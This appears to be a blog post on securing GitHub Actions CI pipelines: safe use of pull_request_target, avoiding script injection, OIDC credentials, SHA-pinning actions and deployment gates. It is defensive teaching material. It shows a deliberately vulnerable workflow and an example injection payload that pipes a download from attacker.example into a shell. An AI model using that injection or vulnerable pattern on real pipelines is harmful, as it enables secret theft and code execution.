A CI pipeline is a machine that executes code, holds credentials, and can publish to production. It is also configured in YAML files that people tend to copy from each other.
This post covers four changes that cost almost nothing and remove most of the serious ways a GitHub Actions workflow gets compromised.
1. pullrequesttarget and untrusted code
There are two triggers that look alike and behave very differently.
pull_request runs the workflow from the PR's merge commit, with a read-only token and no secrets when the PR comes from a fork.
pull_request_target runs the workflow definition from the base branch, with secrets and a write token.
The second one exists so that workflows can, for example, label or comment on PRs from forks. The danger comes from a very natural mistake: checking out the PR's code in it.
yaml
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # attacker-controlled code
- run: npm ci && npm test # ...running with your secrets
Anyone can open a PR with a malicious package.json script. The workflow checks it out and runs it, with the repository's secrets in the environment. This pattern is known as a pwn request.
The rule is simple: never check out and execute untrusted code in a privileged workflow. If you need both, split it in two. An unprivileged pull_request workflow builds and uploads an artifact, and a privileged workflow_run workflow consumes the result, treating it as untrusted data and never as code.
2. Script injection through expressions
The ${{ ... }} syntax is not a variable. It is textual substitution that happens before the shell sees the script.
yaml
- run: echo "Processing ${{ github.event.pull_request.title }}"
A PR titled "; curl https://attacker.example/x | sh; " turns that into a shell command. The title, the branch name, the issue body and the commit message are all attacker-controlled.
The fix is to pass the value through an environment variable, so the shell receives it as data:
yaml
- run: echo "Processing $TITLE"
env:
TITLE: ${{ github.event.pull_request.title }}
3. OIDC instead of long-lived secrets
A cloud access key stored as a repository secret is valid until somebody rotates it, works from anywhere, and is one leaked log away from being an incident.
OpenID Connect replaces it. The workflow asks GitHub for a short-lived identity token, and the cloud provider exchanges it for temporary credentials, but only if the token's claims match a trust policy.
yaml
permissions:
id-token: write
contents: read
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/deploy-prod
aws-region: eu-west-1
The security is in the trust policy on the cloud side. The sub claim identifies where the job runs, for example repo:acme/api:ref:refs/heads/main or repo:acme/api:environment:production. A condition such as repo:acme/* is far too wide. Pin the exact repository and the exact branch or environment.
Nothing is stored, nothing needs rotating, and a stolen token expires in minutes.
4. Pin third-party actions to a commit SHA
A tag like @v4 is a pointer that its owner can move. If the repository is compromised, the tag can be repointed to malicious code, and every workflow that references it runs the new version on its next trigger.
This is not hypothetical. In March 2025, the popular tj-actions/changed-files action was compromised and its tags were repointed to a commit that dumped secrets from the runner's memory into the logs.
yaml
- uses: actions/checkout@<full-40-character-commit-sha> # v4.2.2
A full commit SHA is immutable. Keep a comment with the human-readable version, and let Dependabot propose updates, so pinning does not mean never upgrading.
Handing data between workflows
The two-workflow pattern from the first section only stays safe if the second workflow is careful about what it receives. Artifacts produced by an unprivileged run are data written by a stranger. Do not execute them, do not source them into a shell, and do not paste their contents into an expression or a command line. Parse them with a strict format, validate every field, and treat a number as a number and a name as a name.
Gate the deployments
Even with perfect hygiene, production credentials should not be available to every run that happens to pass through a branch. GitHub environments let you attach rules to a deployment target: required reviewers, a wait timer, and a restriction to specific branches or tags.
A job that declares environment: production pauses until those rules are satisfied, and the OIDC sub claim for that job includes the environment name. Combined with the trust policy described above, the cloud role for production can only be assumed by a run that a human approved and that came from the branch you expect.
Lint your workflows
Workflows are code, and they can be analyzed like code. actionlint checks syntax, expression types and shell scripts. zizmor is aimed at security: it flags template injection, unpinned actions, excessive permissions and the dangerous triggers discussed here.
Run them in CI on every change to .github/workflows, and put that directory under CODEOWNERS, so that a change to a pipeline is reviewed by the people who understand what it can reach.
One more line
Set the default token permissions at the top of every workflow, and grant more only to the jobs that need it:
yaml
permissions:
contents: read
Conclusion
None of these four changes is difficult. All of them come from the same idea: a workflow runs with authority, so everything that influences it has to be either trusted or treated as hostile data.
Untrusted code must not run with secrets. Untrusted strings must not be spliced into scripts. Credentials should be short-lived and narrowly scoped. And the code you did not write should be referenced by something that cannot change underneath you.
References